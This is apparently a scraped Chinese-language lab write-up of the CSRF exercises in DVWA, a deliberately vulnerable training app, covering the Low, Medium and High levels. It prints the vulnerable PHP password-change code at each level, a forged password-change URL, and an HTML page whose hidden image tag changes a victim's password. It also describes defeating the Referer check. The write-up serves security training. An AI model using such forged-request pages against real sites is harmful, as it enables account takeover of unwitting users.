DVWA 之 CSRF跨站請求僞造 全等級

1、漏洞概述php

CSRF(Cross site request forgery ):跨站請求僞造。html

CSRF是指利用受害者還沒有失效的身份認證信息(cookie、會話信息),誘騙其點擊惡意連接或者訪問包含攻擊代碼的頁面,在受害人不知情的狀況下,以受害人的身份向服務器發送請求,從而完成非法操做。mysql

2、工具web

burp suite、firefoxsql

3、測試過程瀏覽器

一、級別:Low服務器

貼上代碼:cookie

 1 <?php
 2 
 3 if( isset( $_GET[ 'Change' ] ) ) {
 4     // Get input
 5     $pass_new  = $_GET[ 'password_new' ];
 6     $pass_conf = $_GET[ 'password_conf' ];
 7 
 8     // Do the passwords match?
 9     if( $pass_new == $pass_conf ) {
10         // They do!
11         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
12         $pass_new = md5( $pass_new );
13 
14         // Update the database
15         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
16         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
17 
18         // Feedback for the user
19         echo "<pre>Password Changed.</pre>";
20     }
21     else {
22         // Issue with passwords matching
23         echo "<pre>Passwords did not match.</pre>";
24     }
25 
26     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
27 }
28 
29 ?> 

 

從代碼能夠看出服務器經過GET方式收到更改密碼的請求後會比較參數pass_new和pass_conf是否一致,若是一致會執行修改密碼操做。session

輸入密碼進行更改:xss

clipboard

點擊change後獲得連接:

http://IP地址/dvwa/vulnerabilities/csrf/?password_new=新密碼&password_conf=確認密碼&Change=Change#

因此咱們構造連接,將兩個參數的值改變便可。

值得注意的是,CSRF是利用受害者的cookie向服務器發送僞造請求,由於不一樣瀏覽器間的cookie不是通用,因此受害着使用同一瀏覽器打開連接時纔會攻擊成功。

ps:因爲連接過於直接,比較容易看出,咱們能夠作一個web頁面進行隱藏。

例如:

  1 <html>
  2 
  3     <head>
  4     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  5     <title>change</title>
  6     <img src="http://IP地址/dvwa/vulnerabilities/csrf/?password_new=新密碼&password_conf=確認密碼&Change=Change#"/>
  7 
  8     </head>
  9     <p> success </p>
 10 </html>

 

 

二、級別:Medium

貼上源碼:

 1 <?php
 2 
 3 if( isset( $_GET[ 'Change' ] ) ) {
 4     // Checks to see where the request came from
 5     if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
 6         // Get input
 7         $pass_new  = $_GET[ 'password_new' ];
 8         $pass_conf = $_GET[ 'password_conf' ];
 9 
10         // Do the passwords match?
11         if( $pass_new == $pass_conf ) {
12             // They do!
13             $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
14             $pass_new = md5( $pass_new );
15 
16             // Update the database
17             $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
18             $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
19 
20             // Feedback for the user
21             echo "<pre>Password Changed.</pre>";
22         }
23         else {
24             // Issue with passwords matching
25             echo "<pre>Passwords did not match.</pre>";
26         }
27     }
28     else {
29         // Didn't come from a trusted source
30         echo "<pre>That request didn't look correct.</pre>";
31     }
32 
33     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
34 }
35 
36 ?> 

 

咱們發現與low級別相比多了:    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

HTTP_REFERER:http包頭的Referer參數的值,表示來源地址

SERVER_NAME:http包頭的Host參數,即要訪問的主機名

當檢查到 HTTP_REFERER中包含SERVER_NAME的時候,就能夠完成改密碼的操做。

那麼咱們可使用burp suite抓包得到參數:

clipboard

此時構造一個HTML,  將文件名改成用戶主機IP,放在網站根目錄下打開便可成功攻擊。

 

 

三、級別:High

貼上代碼:

  1 <?php
  2 
  3 if( isset( $_GET[ 'Change' ] ) ) {
  4     // Check Anti-CSRF token
  5     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  6 
  7     // Get input
  8     $pass_new  = $_GET[ 'password_new' ];
  9     $pass_conf = $_GET[ 'password_conf' ];
 10 
 11     // Do the passwords match?
 12     if( $pass_new == $pass_conf ) {
 13         // They do!
 14         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 15         $pass_new = md5( $pass_new );
 16 
 17         // Update the database
 18         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
 19         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 20 
 21         // Feedback for the user
 22         echo "<pre>Password Changed.</pre>";
 23     }
 24     else {
 25         // Issue with passwords matching
 26         echo "<pre>Passwords did not match.</pre>";
 27     }
 28 
 29     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
 30 }
 31 
 32 // Generate Anti-CSRF token
 33 generateSessionToken();
 34 
 35 ?>

  High級別代碼加入了Anti-CSRF token機制,用戶每次執行改密操做服務器都會返回一個隨機的token,向服務器發送請求時須要提交token參數,服務器會優先檢查token,只有token正確纔會處理客戶端請求,這一機制杜絕了利CSRF漏洞修改密碼,需使用xss組合進行攻擊。

相關文章
相關標籤/搜索